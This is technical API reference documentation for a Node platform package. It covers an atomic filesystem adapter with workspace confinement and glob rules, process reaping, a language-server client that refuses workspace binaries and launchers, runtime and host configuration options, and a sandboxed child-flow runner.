same pinned descriptor. Paths returned by `realPath` can therefore be used for
subsequent reads, writes, and atomic sibling replacement. Capability resources
remain rooted at the logical workspace name; child symlinks, sibling paths,
and replacement of the pinned root retain the same refusal checks.

| Constant or constructor               | What it is                                                            |
| ------------------------------------- | --------------------------------------------------------------------- |
| `AtomicFileSystem.layer`              | the adapter with every default                                        |
| `AtomicFileSystem.layerWith(options)` | the same, with the helper and the ceilings configured                 |
| `AtomicFileSystem.defaultExecutable`  | `/usr/local/bin/smithers-jj-export`, the last path searched           |
| `AtomicFileSystem.defaultLimits`      | 16 MiB content, 24 MiB request, 24 MiB response, 64 KiB helper stderr |
| `AtomicFileSystem.defaultConcurrency` | `os.availableParallelism()`                                           |
| `AtomicFileSystem.defaultTimeoutMs`   | 300000                                                                |
| `AtomicFileSystem.AtomicHelperError`  | the tagged configuration failure, below                               |

**Configuration errors.** An option outside its bounds, a request that cannot
be serialized, and a helper that is missing, unusable, or untrusted fail with
`AtomicHelperError` (`_tag` `@smthrs/platform-node/AtomicHelperError`), never a
bare `Error`. Classify one by `code`. A rejected option or request reaches an
operation as `BadArgument` whose `cause` is the `AtomicHelperError`;
`AtomicFileSystem.resolveHelper()` throws it directly.

| `code`                          | Raised when                                                                 |
| ------------------------------- | --------------------------------------------------------------------------- |
| `limit_invalid`                 | a `limits` byte ceiling is not a positive safe integer within its bound     |
| `concurrency_invalid`           | `concurrency` is not a positive integer                                     |
| `timeout_invalid`               | `timeoutMs` is not a positive integer no greater than 2147483647            |
| `request_not_serializable`      | JSON has no form for the request                                            |
| `helper_missing`                | no helper exists at any searched location; the message carries install hint |
| `helper_unusable`               | `SMITHERS_WORKSPACE_JJ_EXPORT_BINARY` names a helper that cannot run        |
| `helper_path_invalid`           | the helper path is relative, ends in a separator, or loops through links    |
| `helper_not_regular_file`       | the helper path is not a regular file                                       |
| `helper_inside_workspace`       | the helper lives in, or appeared in, the confined workspace                 |
| `staging_directory_not_private` | the per-user staging directory is a link or has another owner               |
| `staging_unavailable`           | no location can hold a staged copy of the helper                            |

**Protocol faults.** A helper that answers out of protocol, over a bound, or
not at all fails closed: the operation fails with a `PlatformError` whose `cause`
is an `AtomicHelperFault` (`_tag` `@smthrs/platform-node/AtomicHelperFault`).
Classify one by `code`: `response_unframed`, `response_tag_unknown`,
`response_length_invalid`, `response_length_mismatch`, `envelope_malformed`,
`field_malformed`, `file_type_unknown`, `payload_malformed`,
`read_limit_exceeded`, `entries_malformed`, `batch_malformed`,
`digest_malformed`, `result_malformed`, `operation_unsupported`,
`helper_timeout`, `response_limit_exceeded`, `helper_rejected`, `helper_exited`.
An errno the helper itself reports is an `AtomicHelperRejection` with the native
`code` and `syscall`.

**Cost.** Every operation starts one helper process. Under the kernel's guarded
layer, authorization adds two more, resolving the path before and after the
grant decision. That is the price of descriptor-relative confinement on a runtime with no
`openat`, and it is why the adapter carries a process ceiling: without one, an
`Effect.forEach(files, read, { concurrency: "unbounded" })` over fifty entries
would start fifty helpers at once. Batch a wide fan-out, or raise
`concurrency` deliberately. A directory listing is one helper for the whole tree,
so `readDirectory(root, { recursive: true })` costs far less than a read per
entry.

Every field of `Options` except `executable` is read once, when the layer is
built, so the ceilings cannot change under a running host.

**Glob.** The helper cannot call Node's globber, so it implements the grammar:
`*` and `?` inside one segment, `[...]` classes with `!` or `^` negation, `**`
across zero or more whole segments, `{a,b}` alternation, a trailing `/` for
directory-only matching, and the dotfile rule, which keeps a wildcard out of a
name beginning with `.` while letting a segment that spells the dot, `.*` or
`[.]*`, match one. Exclusions prune the walk itself: excluding a directory
excludes everything below it, and nothing under an excluded directory is listed,
counted against the entry ceiling, or charged against the response ceiling. An
exclusion that names the root stops before the walk begins. An absolute exclude
is rewritten against the glob root so it applies to the same names the selecting
pattern does. The selecting pattern prunes the walk too: a directory is entered
only when a remaining segment or an open `**` can still name something below it,
and only selected names are charged against the response ceiling. A trailing `**` spans zero segments, so it also names its own
anchor: a directory always, and a non-directory only when every segment before it
is literal, which is the shortcut the native globber takes when it can address
the path directly rather than read a directory. `top.txt/**` names the file;
`t*.txt/**` names nothing. A one-member class is the literal it spells, so `[.]`
is a `.` path segment: the globber drops a SPELLED `.` before it parses and
collapses `[.]` only afterwards, so this one survives and, as the last segment,
names its anchor under the same rule. One addition: a `**` immediately before it
addresses nothing, so `**/[.]` names nothing while `**/deep/[.]` names the
directory. Anywhere but last, and in an exclusion, a `.` segment names an entry
no directory holds. Matching aligns path segments with bounded dynamic programming; each segment
uses globset’s compiled, non-backtracking matcher.

Two grammar bounds are refusals rather than silent truncation: a pattern longer
than 4096 UTF-8 bytes, and one whose braces expand past 64 alternatives, both
fail as `BadArgument`. The byte limit is checked before expansion; the alternative
limit is enforced during bounded expansion. Each resulting alternative is
validated before filesystem walking, so
an over-large pattern costs no listing and answers with the typed refusal rather
than with a fail-closed transport error. So do the three constructs this grammar
does not implement: extglob (`+(a|b)`), any `[:` opener inside a character
class (including POSIX classes), and brace bodies containing `..` (including
ranges such as `{1..3}` and sets containing that text). These checks conservatively
reject unsupported syntax before filesystem access. Reading unsupported constructs
as ordinary characters could answer a different question; an exclusion could
then return the paths it was meant to remove. The refusal therefore covers the exclude list as well
as the pattern, and it recognises a character class, so `[!(]*` is an ordinary
negated class and not an extglob.

Backslashes follow Node's POSIX rules instead: an absolute selector and every
exclude drop them while leaving following wildcard magic active; a relative
selector containing one matches nothing. The public filesystem path is
absolute, and the direct atomic protocol preserves the relative empty answer.

Three answers are pinned rather than copied, because the native globber gives no
single answer to copy.

1. **Case.** Matching is case-sensitive on every host. Node's globber passes
   `nocase: isMacOS || isWindows` with `nocaseMagicOnly: true`. On a
   case-insensitive host a magic segment folds case (`*.TXT` finds `upper.txt`),
   a literal segment the matcher decides is compared exactly (`**/MID.txt`
   misses `mid.txt`), and a literal segment Node addresses directly comes back
   with the pattern's own spelling (`TOP.TXT` returns `TOP.TXT`), even though the
   directory does not hold that spelling. The adapter returns only names its
   walk found. A pattern whose meaning depends on which host reads it is worse
   than one that means the same everywhere, and worst of all in an exclusion,
   so the adapter keeps one rule everywhere.
2. **A trailing `**` in an exclusion** removes what is under a directory and
   leaves the directory entry itself. Node's own answer here depends on the
   shape of the SELECTING pattern: `**/*` with `exclude: ["nested/**"]` keeps
   `nested`, and `**` with the same exclusion drops it. The adapter gives one
   answer for every selector. Consequently, the directory-only `**/` names
   directories below its own anchor but not that anchor: with `exclude: ["**/"]`,
   `**` keeps the root and its files while pruning every directory.
   Node empties the answer instead.
3. **A dotted segment after `**`.** Node 22 matched nothing for `**/.hidden`;
   Node 24 and later match the dotfiles. The adapter follows the newer reading
   for the dotfiles themselves, but a `**` never spans a hidden directory, so
   Node's further step of walking into a hidden directory that the next segment
   matches is refused. With `.hidden/.secret` and `.hidden/.nested/.wanted`
   present, Node returns `.hidden/.secret` for `**/.*` and `.hidden/.nested` for
   `**/.*/**`; the adapter returns `.hidden` alone for both. Only a segment that
   names the hidden directory enters it: `.hidden/.*` returns `.hidden/.nested`
   and `.hidden/.secret`.

**Removal.** `remove(path, { recursive: true })` walks iteratively with an
explicit descriptor stack: depth is bounded at 512 levels and the total number
of entries visited at 100000, counted as each directory is read, so a hostile
wide directory is refused after 100000 names rather than allocated whole. One
directory's names are read before any of its entries is unlinked, because
unlinking from a directory while iterating it is undefined; the entry ceiling
is what bounds the names held across the whole walk. Progress is partial on
refusal, since entries already unlinked stay unlinked. `force: true` succeeds
for a path whose ancestors do not exist, exactly as `fs.rm` does.

## Liveness and reaping

`ProcessReaper.groupSnapshotFor(platform)` selects the live cleanup probe,
returning `(pgid) => { ownGroup, members } | undefined`. Each member carries
`pid`, `startedAtMs`, and `zombie`. Linux reads `/proc` directly and needs no
`ps` binary for live cleanup; other POSIX hosts use `/bin/ps`. Unreadable or
malformed process data returns `undefined`, so the snapshot cannot claim
success. `ProcessReaper.groupVacant(pgid)` asks the kernel first with signal 0:
only `ESRCH` returns `true`, which proves the group has no process at all and
needs no `ps` fork. A live member, a zombie, or any other error returns `false`,
and the snapshot decides. `ProcessReaper.processLifecycle` uses both probes for
the current platform.

`HostLiveness.isAlive({ hostId })` is the probe a durable engine consults before
it takes a run whose recorded owner it is not: an owner on a different host reads
as alive, and an owner on this host reads as alive exactly while its pid is
signalable. `@smthrs/run-store`'s `Ownership.sameHostPidProbe` answers the same
question differently for a foreign host, and the two are not interchangeable;
the JSDoc on `isAlive` names both inputs on which they disagree.

`ProcessReaper.reap` kills the process groups a crashed incarnation of the same
`hostId` abandoned. It signals a record only when every guard holds: the numbers
name something the platform can signal, the group is not this host's, the owner
is gone, and the pid still names the process the record describes. Two of those
guards are identity questions: this process's own group, and when the
recorded pid started. On Linux, `systemFor` answers both from `/proc`
(`procSystem`), so an image without `procps` can still reap; other POSIX hosts
ask `ps` (`posixSystem`). Either can go unanswered, and an unanswered guard
refuses, because a guard that did not run is not a guard that passed. No
evidence never authorizes a `SIGKILL`.

`ProcessReaper.layer` reports every sweep: one log line with the kill count and
the count per refusal, at `Warning` when `identity-unverified`,
`own-group-unknown`, or `kill-failed` left a process running, and the
`flows_process_reaper_refusals` counter with a `refusal` attribute.

`reap` returns one `Reaped` per inherited record. The two outcomes are a union
discriminated by `killed`: a killed entry carries no reason, and a kept entry
always carries the `Refusal` that produced it, so one check on `killed` is what
makes `refusal` readable.

A refusal also decides whether the record is retired. Retiring says in the
journal that nothing was signalled and stops every later incarnation
re-examining a number the operating system has moved on from, so only a refusal
a later incarnation cannot answer differently is final.

| Refusal               | Retired |
| --------------------- | ------- |
| `owner-alive`         | no      |
| `identity-unverified` | no      |
| `own-group-unknown`   | no      |
| `no-group`            | yes     |
| `own-group`           | yes     |
| `invalid-record`      | yes     |
| `pre-boot`            | yes     |
| `process-gone`        | yes     |
| `identity-mismatch`   | yes     |
| `kill-failed`         | no      |

Windows reaping is unsupported best-effort. Windows is an unsupported platform
and `AtomicFileSystem` fails every operation closed there, but
`systemFor("win32")` still reaches `taskkill /T /F` through the sweep rather than
retiring every record unsignalled, because a feature that appears to work
partially is worse than one that says what it does.

## Conformance

The package runs the shared suite from
[`@smthrs/kernel/test/contract`](/docs/reference/api/kernel/) twice: once with explicit
expectations, and once taking every default the suite offers, against a loopback
HTTP server so the `HttpClient` success path is actually asserted rather than
only its refusal. On top of that, the atomic
filesystem is compared against `@effect/platform-node`'s own adapter: open
flags, errno classification, `stat` fields, and the glob grammar are asserted
row by row against the native implementation rather than against a hand-written
expectation. Containment is driven over real detached process groups.

## NodeGarbageCollector

```ts
import { NodeGarbageCollector } from "@smthrs/platform-node"
```

Node's full garbage collection, as the `MicrosandboxSandbox.GarbageCollector`
service `@smthrs/sandbox`'s Microsandbox provider gives finished command
handles back to the guest with.
[`MicrosandboxSandbox`](/docs/reference/api/sandbox/#microsandboxsandbox) says
why a machine needs it.

| Export      | What it is                                                                                                                                                                    |
| ----------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `collector` | The process's one collector. Its first collection sets V8's `--expose-gc` flag and takes `gc` from a fresh `node:vm` context, so the process needs no `--expose-gc` at start. |
| `layer`     | Provides `collector` as `MicrosandboxSandbox.GarbageCollector`.                                                                                                               |

Every provider in the process shares `collector`, so all their command starts
count toward the same collections. Nothing runs before the first collection.

## NodeLanguageServer

```ts
import { NodeLanguageServer } from "@smthrs/platform-node"
```

[src/NodeLanguageServer.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/platform-node/src/NodeLanguageServer.ts)

A host Language Server Protocol client over the permission-checked process
spawner, speaking framed JSON-RPC on ordinary stdio pipes. It binds
[`@smthrs/std`](/docs/reference/api/std/)'s `LanguageServer` service, which the `lsp` flow and
the file-writing flows call. Bun runs it unchanged.

| Export                 | Type                                                                                                          | Meaning                                                                                                                    |
| ---------------------- | ------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------- |
| `Config`               | interface                                                                                                     | `command`, `args?`, `cwd`, `extensions?`, `environment?`, `initializationOptions?`, `timeoutMs?`, `settleMs?`, `quietMs?`. |
| `MAX_QUEUED_FRAMES`    | `256`                                                                                                         | Frames buffered for the server's standard input.                                                                           |
| `MAX_PENDING_REQUESTS` | `512`                                                                                                         | Concurrent in-flight requests.                                                                                             |
| `make`                 | `(config: Config \| ReadonlyArray<Config>) => Effect<LanguageServer, StdError, ChildProcessSpawner \| Scope>` | Starts every server and routes each file by extension.                                                                     |
| `makeLazy`             | `(config: Config \| ReadonlyArray<Config>) => Effect<LanguageServer, StdError, ChildProcessSpawner \| Scope>` | Starts each server on the first request for one of its files.                                                              |
| `layer`                | `(config: Config \| ReadonlyArray<Config>) => Layer<LanguageServer, StdError, ChildProcessSpawner>`           | Provides `make`.                                                                                                           |
| `layerLazy`            | `(config: Config \| ReadonlyArray<Config>) => Layer<LanguageServer, StdError, ChildProcessSpawner>`           | Provides `makeLazy`.                                                                                                       |

`LanguageServer` and `StdError` are `@smthrs/std`'s. `make` sends `initialize`
with `cwd` as the root URI and then `initialized`, so the service is ready when
it resolves. `timeoutMs` defaults to 30,000 and bounds every request and every
write. A frame body may be 8 MiB and its headers 8 KiB. The child receives the
host environment allowlist plus `Config.environment`. `initializationOptions`
is sent on `initialize` unchanged. An empty config list fails with
`invalid_input`.

With several configs, each file goes to the server whose `extensions` include
its extension, or else to the server that declares none; a file no server
claims fails with `unsupported`. `workspaceSymbols` asks every server and
concatenates their answers. `diagnostics` pulls `textDocument/diagnostic`; a
server that answers `MethodNotFound` is read from its published diagnostics,
waiting up to `settleMs` (default 5,000) for the latest synced text and
`quietMs` (default 300) for a later publish.

The server runs on the host as the host user. `make` and `makeLazy` fail with
`permission_denied`, before spawning, when the program it would execute lies
under `cwd`: a relative or absolute command there, a bare name found through a
`PATH` entry there, or a workspace symlink to a host binary. An argument, or
the value after `=` in one, that names an existing file or directory under
`cwd` is refused the same way; `node <dir>` runs that directory's `index.js` or
package `main`. A launcher is refused outright, because its arguments are code
or package names the file check cannot see: a shell (`sh -c`, `bash`, `zsh`),
`env`, a package runner (`npx`, `pnpm`, `npm`, `yarn`, `bunx`, `bun x`,
`deno`), or `node` and `bun` given inline code or a preload (`-e`, `--eval`,
`-p`, `-r`, `--require`, `--import`, `--loader`). Name the server's own host
binary, or an interpreter and a host script file. What the server loads after
it starts is not checked: by default typescript-language-server runs the
workspace's `node_modules/typescript`, tsserver with `--allowLocalPluginLoads`
loads `tsconfig` plugins from the project, and rust-analyzer runs build scripts
and proc macros. Pin those to host copies through `initializationOptions` or
the server's own flags (for typescript-language-server,
`{ tsserver: { path: "<host>/tsserver.js" } }`), or run the server in a
sandbox.

Request failures include `method`. JSON-RPC refusals retain `rpcError` with the
server's numeric `code`, `message`, and optional `data`, bounded by the 8 MiB
frame limit. Failures attach the latest stderr tail when present, capturing at
most 64 KiB. On stdout closure or process exit, draining stderr gets a bounded
100 ms grace before pending requests fail. A server that cannot start fails
with `provider_unavailable`.

[Run a language server](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/platform-node/docs/guides/run-a-language-server.md) walks through the
configuration, the diagnostics timing, and measured settle times.

## NodeRuntime

```ts
import { NodeRuntime } from "@smthrs/platform-node"
```

The supported Node composition: [`@smthrs/flows`](/docs/reference/api/flows/#runtime)'
platform-neutral `Runtime` bound to Node's SQLite driver and this package's
host. It opens `node:sqlite` through `@smthrs/database/node/NodeDatabase`, which
is why the browser-safe `@smthrs/flows` root does not hold it. Installing this
package installs `@smthrs/flows` and `@effect/sql-sqlite-node` with it.

Construction is ordered by layer dependency: the SQLite parent directory is
created before the database opens, migrations finish before any store is built,
the engine is built over those stores, and `registerFlows` finishes before the
resulting services are exposed. A persisted run therefore cannot resume through
a composition before its flow has been registered.

### `Options`

Configuration for `make` and `layer`.

On native Node and Bun hosts, `filename` may be outside `workspaceRoot`.
The host creates its parent directory even when the injected filesystem refuses
that path. Keeping the database outside a served checkout prevents engine
writes from changing the working-copy tree. `workspaceRoot` still confines
flow file actions; the database path is trusted host configuration.

| Field              | Type                                               | Meaning                                                                                                                                                                                                                                                                                                                                                                                                                               |
| ------------------ | -------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `filename`         | `string`                                           | SQLite database filename. Resolved to an absolute path at the call; its parent directory is created recursively.                                                                                                                                                                                                                                                                                                                      |
| `workspaceRoot`    | `string`                                           | The workspace file actions may read or mutate. Resolved to an absolute path at the call.                                                                                                                                                                                                                                                                                                                                              |
| `owner`            | `{ hostId: string }`                               | Stable identity of this engine host. Give each machine its own: a pid probe reads this machine's process table for every owner recorded under the same `hostId`.                                                                                                                                                                                                                                                                      |
| `isAlive`          | `Ownership.LivenessCheck`                          | Whether a previously recorded owner is still alive. Required, and a stub is not an answer: a check that returns `false` without asking makes the engine steal runs out of live processes. Receives the claim context as well as the owner.                                                                                                                                                                                            |
| `canExecute`       | `(row) => Effect<boolean>` (optional)              | Routes shared-store runs to the host configured for their workspace. Checked before claiming a run, including automatic wakes.                                                                                                                                                                                                                                                                                                        |
| `canActivate`      | `(row) => Effect<boolean>` (optional)              | Read-only admission rechecked inside the native activation transaction. Use captured store reads and synchronous local probes; keep module loading and external I/O in `canExecute`.                                                                                                                                                                                                                                                  |
| `requestResume`    | `(executionId, reason) => Effect<void>` (optional) | Records that the engine has asked a PARKED execution to resume: `"deferred"`, `"clock"`, or `"parent"`. A control plane that refuses to re-enter a parked run nobody asked for reads it to tell an engine wake from its own heartbeat sweep.                                                                                                                                                                                          |
| `cacheEnvironment` | `Action.CacheEnvironment`                          | Optional. The complete runtime environment a sealed step's recorded result may be reused under. Absent by default, which keeps every sealed key scoped to its own run.                                                                                                                                                                                                                                                                |
| `sourceRevision`   | `string \| (() => string \| undefined)`            | Optional. The revision of the tree this host read its flows out of, which every recorded graph page carries beside the declaration sites, so a reader opens the declared file at that revision and not at whatever is on disk. A host that only learns the answer after this call declares a reader instead of a string; it is asked once per recorded page, and an answer that is not a revision records nothing. Absent by default. |
| `sweep`            | `"process" \| { host: string }` (optional)         | Who wakes this runtime's runs. `"process"`, the default, is what a native host is. See [`Runtime.Options`](/docs/reference/api/flows/#options).                                                                                                                                                                                                                                                                                                |

`Ownership.sameHostPidProbe` from [`@smthrs/run-store`](/docs/reference/api/run-store/) probes
the process table only for the claim context's host (`context.claimant.hostId`).
It returns `false` (treated as dead) for an owner on another host, allowing
takeover once that owner's lease has expired. A fresh heartbeat still blocks
takeover, except for an owner on this host whose pid the probe finds gone,
which is taken at once. To preserve foreign-host owners, use [`HostLiveness.isAlive({ hostId })`](#liveness-and-reaping),
which returns `true` for
foreign hosts, or supply a distributed liveness check. `HostLiveness.isAlive`
is the `layerHost` default and refuses foreign-host takeover even after lease
expiry. A multi-process deployment answers from its supervisor or lease system.

#### Cross-run step cache reuse

A sealed action that declares an idempotency key, an implementation version and
a `hard` `fileBoundary` publishes its result to the step cache. Whether a later
run can read that result back is decided by `cacheEnvironment`.

While it is absent the engine folds the execution id into the step key, so each
run records its result under an address no other run can spell and nothing is
reused across runs. This is the default because the engine cannot derive the
value: it names the semantic runtime layers and the effective capability groups
a result was computed under, and only the host knows both. Declare it and a
second run addresses the first run's row, replays the recorded outputs, and
never enters the body again.

Declare it only when every machine that shares this database would have
produced the same bytes under the layers named. The engine still re-measures a
step's declared read set before serving a hit and refuses one whose declaration
no longer matches the host, but it cannot check a claim about a toolchain, a
model route, or a code version that the layers failed to name. A host that
cannot enumerate its environment leaves the field out. An incomplete value is
refused with `RuntimeConfigurationError` at construction, because it is cache
key material.

### `RuntimeConfigurationError`

`storage`, `make`, `layer`, and `layerHost` throw `@smthrs/flows`'
[`Runtime.RuntimeConfigurationError`](/docs/reference/api/flows/#runtimeconfigurationerror)
synchronously for invalid construction input, with `field` naming the option and
`NodeRuntime` leading the message. Nothing is created before it is thrown.

### `storage`

```ts
const storage: (filename: string, workspaceRoot?: string) => Layer<...>
```

Provides the migrated database, the durable stores (`SqlJournal`, `RunStore`,
`AttemptStore`, `CacheStore`, `DurableEngineState`), the `OwnerIdentity` minter,
the `Workspace`, and a filesystem `ArtifactStore`, and constructs no engine.

`workspaceRoot` defaults to the database file's own directory. The journal queue
is created with capacity 1,024 and `overflow: "reject"`. Artifacts live beside
the database under `objects/`, so a database at `<root>/.flows/engine.db` stores
blobs in `<root>/.flows/objects`.

This is the lower-level seam for an integration that builds another
engine-backed service over the same storage context. Application entry points
normally use `layer` or `layerHost`.

### `make`

```ts
const make: (
  options: Options,
  stepBoundary: Layer<StepBoundary.Service, E1, R1>,
  workspaceSandbox: Layer<WorkspaceSandbox.Service, E2, R2>,
  registerFlows: Layer<A, E3, R3>,
  registry?: Layer<A4, E4, R4>
) => Effect<Context<...>, ..., Crypto | FileSystem | Jj | Scope>
```

Builds the production service context in the current scope and returns it. The
caller selects the filesystem boundary and workspace sandbox layers and supplies
a registration layer, typically a merge of action implementation layers and
`Interpreter.layer(flow)`. `Jj`, Effect's `FileSystem`, and Effect's `Crypto`
remain requirements. Closing the surrounding scope closes the database, the
journal writer, the sweeper, and the active engine fibers through their existing
finalizers.

### `layer`

```ts
const layer: (
  options: Options,
  stepBoundary: Layer<StepBoundary.Service, E1, R1>,
  workspaceSandbox: Layer<WorkspaceSandbox.Service, E2, R2>,
  registerFlows: Layer<A, E3, R3>,
  registry?: Layer<A4, E4, R4>
) => Layer<..., ..., Crypto | FileSystem | Jj>
```

The same composition as a scoped `Layer`. `registerFlows` is the final startup
phase rather than a layer merged beside the engine, which serializes the
durability-sensitive order. Shutdown is scope closure; this function installs no
process or signal handlers.

`registry` is the optional catalog the registration phase reads from. A host that
discovers its flows rather than listing them passes
[`@smthrs/registry`](/docs/reference/api/registry/)'s `Registry.layerProject({ root })`, and
builds `registerFlows` from `Executable.layer(...)`. The registry is provided
beneath registration and above the engine, so every discovered flow is
registered before the runtime accepts a launch. Omitting it is exactly the
registry-free behavior.

`make`, `layer`, and `layerHost` require the registry argument when its type
parameters name a service, error, or requirement. Omitting it is valid only
when all three registry types are `never`.

### `HostOptions`

Configuration for `layerHost`. Only `filename`, `workspaceRoot`, and `owner` are
required.

| Field               | Type                                               | Default                            | Meaning                                                                                                                                                                                                                          |
| ------------------- | -------------------------------------------------- | ---------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `filename`          | `string`                                           | required                           | SQLite database filename. Its parent directory is created recursively.                                                                                                                                                           |
| `workspaceRoot`     | `string`                                           | required                           | The project workspace, resolved once while the host is constructed. Every Jj operation stays bound to that root.                                                                                                                 |
| `owner`             | `{ hostId: string }`                               | required                           | Stable identity of this engine host. Give each machine its own: the default probe reads this machine's process table for every owner recorded under the same `hostId`, and takes a run at once from one whose pid it finds gone. |
| `isAlive`           | `Ownership.LivenessCheck`                          | `HostLiveness.isAlive({ hostId })` | Whether a recorded owner is still alive. The default answers from this machine's process table and never declares another host's owner dead.                                                                                     |
| `rules`             | `GrantStore.MakeOptions["rules"]`                  | none                               | The capability rules this host grants without asking. The grant store is unattended, so a capability no rule allows is denied rather than escalated. Accepts a flat rule list or a list of rulesets.                             |
| `signals`           | `ReadonlyArray<NodeJS.Signals>`                    | `["SIGINT", "SIGTERM"]`            | The signals that shut the runtime down. An empty list installs no handler at all.                                                                                                                                                |
| `shutdownTimeoutMs` | `number`                                           | `defaultShutdownTimeoutMs`         | How long a graceful shutdown may take before the host leaves with the signal's own exit code.                                                                                                                                    |
| `containment`       | `ContainedSpawner.Options & ProcessReaper.Options` | none                               | Process containment and reaping options for the host spawner.                                                                                                                                                                    |
| `canExecute`        | `(row) => Effect<boolean>`                         | none                               | The same shared-store routing check as the runtime `Options` field.                                                                                                                                                              |
| `canActivate`       | `(row) => Effect<boolean>`                         | none                               | The same read-only native activation fence as the runtime `Options` field.                                                                                                                                                       |
| `cacheEnvironment`  | `Action.CacheEnvironment`                          | none                               | The same cross-run cache environment as the runtime `Options` field, provided under the engine.                                                                                                                                  |
| `sourceRevision`    | `string \| (() => string \| undefined)`            | none                               | The same source revision declaration as the runtime `Options` field, recorded on every graph page.                                                                                                                               |

Every option is validated and snapshotted at the call. Rule arrays, rule
objects, signal lists, and containment callbacks are all copied, and relative
paths are resolved against the working directory as it stood at the call, so
mutating the options object afterward changes nothing.

### `defaultShutdownTimeoutMs`

```ts
const defaultShutdownTimeoutMs: 30_000
```

How long a graceful shutdown may take before the host leaves anyway.

### `maximumShutdownTimeoutMs`

```ts
const maximumShutdownTimeoutMs: 2_147_483_647
```

The largest delay Node accepts without truncating it to a one-millisecond timer,
and the upper bound `shutdownTimeoutMs` is validated against.

### `signalExitCode`

```ts
const signalExitCode: (signal: NodeJS.Signals) => number
```

The status a process ended by `signal` exits with, which is 128 plus the
signal number: `130` for `SIGINT`, `143` for `SIGTERM`. A host that installs a handler
owes its supervisor the answer the default behavior would have given.

### `layerHost`

```ts
const layerHost: (
  options: HostOptions,
  registerFlows: Layer<A, E, R>,
  registry?: Layer<A2, E2, R2>
) => Layer<...>
```

Provides the whole Node host, storage, kernel, and engine from one call. The
returned layer has no requirements of its own; the registration and registry
arguments may still declare theirs.

What it adds over `layer`:

- The complete Node host, [`NodeHost.layerContainedAt`](#layers), with
  process containment on. A spawned process gets its own process group, is
  signalled and then killed when its action's scope closes, and is recorded in
  the `ProcessLedger` so the next incarnation of this host reaps whatever a
  crash left running.
- The kernel's guarded `Host` surface over an unattended `GrantStore`, so an
  action reaches the host through the capability check rather than around it.
  Engine snapshot bookkeeping uses a distinct private `Jj` service, so it grants
  no repository authority to the action context.
- The default `StepBoundary` and the filesystem `WorkspaceSandbox`, the pairing
  that makes a sealed action's result eligible for the step cache.
- Signal handling. `SIGINT` or `SIGTERM` closes the runtime scope, releasing
  every run this host owns for another host to reclaim. A second signal, or a
  shutdown that outlasts `shutdownTimeoutMs`, leaves with the signal's own exit
  code instead of waiting on a finalizer that is not coming back.

A program that needs a different host, a different policy, or no signals at all
composes `layer` itself; nothing here is reachable only through this function.

## NativeRuntime

```ts
import { NativeRuntime } from "@smthrs/platform-node"
```

The native lifecycle `NodeRuntime` and `@smthrs/platform-bun`'s `BunRuntime`
share: opening the database a filename or PostgreSQL URL names, keeping
artifacts on disk beside it, confining file actions to a workspace root, guarding
flow bodies behind the capability kernel, and installing the shutdown signal
handlers. A program uses `NodeRuntime` or `BunRuntime`; this is the seam a
native host binds.

| Export        | Signature                                       | Meaning                                                                                                                      |
| ------------- | ----------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------- |
| `make`        | `(platform: Platform) => Api`                   | Binds the lifecycle to one platform. Its result is the `storage`, `make`, `layer`, `layerHost`, and signal API above.        |
| `Platform`    | `{ name, database, host, crypto }`              | The name configuration errors carry, the driver a filename opens, the host bundle (`layerAt`, `layerContainedAt`), `Crypto`. |
| `Options`     | `Runtime.Options & { filename, workspaceRoot }` | The [options](#options) `make` and `layer` take.                                                                             |
| `HostOptions` | see [`HostOptions`](#hostoptions)               | What `layerHost` takes.                                                                                                      |
| `Api`         | `ReturnType<typeof make>`                       | The bound API, the type of each `NodeRuntime` and `BunRuntime` export.                                                       |

## SandboxedFlow

```ts
import { SandboxedFlow } from "@smthrs/platform-node"
```

Runs a child flow's own code inside a machine a `Sandbox.Provider` provisions.
`Sandbox.layerHost` from [`@smthrs/sandbox`](/docs/reference/api/sandbox/) places a body's side
effects on a machine while its TypeScript keeps running in the engine host; this
module is the tier above that, where the child's own code executes in the guest.
It is Node-only: it bundles with esbuild, which this package installs, and it
starts a guest runtime. The error tag keeps its original
`@smthrs/flows/SandboxedFlowError` spelling, so recorded failures still decode.

```ts
const run = Effect.gen(function*() {
  const result = yield* SandboxedFlow.execute(Child, { n: 31 }, {
    provider,
    session: "child-1",
    entry: new URL("./child.ts", import.meta.url),
    runtime: "node",
    captureWork: true
  })
  // result.output is Child's success value, decoded through Child's own schema.
  // result.work is the Sandbox.Work git patch the guest left in its checkout.
  return result
})
```

`provider` is a `Sandbox.Provider` value you pass in: there is no string
registry, no lookup by name, and no environment variable default. The authoring
is `Flow.make` and `Action.make`, so a sandboxed child is declared the same way
every other flow is.

The runner protocol, the guest composition, the image requirements, and the
session key's exclusivity are on
[The sandboxed runner protocol](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/docs/concepts/runner-protocol.md).

### `SandboxedFlowError`

```ts
class SandboxedFlowError extends Schema.TaggedError("@smthrs/flows/SandboxedFlowError")({
  code:
    | "bundle_failed"
    | "session_failed"
    | "guest_failed"
    | "flow_failed"
    | "result_unreadable"
    | "result_invalid"
    | "result_overflow"
    | "diff_overflow"
    | "capture_failed"
    | "deadline_exceeded"
  message: string
  cause?: unknown
})
```

The failure type every protocol refusal in this module raises.

| `code`              | Meaning                                                                                                                                               |
| ------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------- |
| `bundle_failed`     | The entry module could not be bundled.                                                                                                                |
| `session_failed`    | The provider could not acquire the machine, or a file or process operation on it failed.                                                              |
| `guest_failed`      | The guest runtime exited non-zero, including exit 126 or 127 for a runtime the image does not contain.                                                |
| `flow_failed`       | The child flow ran and reported a failure, including an entry that exports no flow of the requested tag.                                              |
| `result_unreadable` | The guest exited 0 but wrote no result, or one that is not the protocol's JSON, belongs to another attempt, or echoes a different capability ceiling. |
| `result_invalid`    | The result's `output` does not decode through the flow's success schema.                                                                              |
| `result_overflow`   | The result file exceeds `Limits.resultBytes`.                                                                                                         |
| `diff_overflow`     | The captured patch exceeds `Limits.diffBytes`.                                                                                                        |
| `capture_failed`    | Git refused the capture. The message starts with `not_a_repository`, `base_unresolved`, or `capture_failed`, the `Sandbox.CaptureError` reason.       |
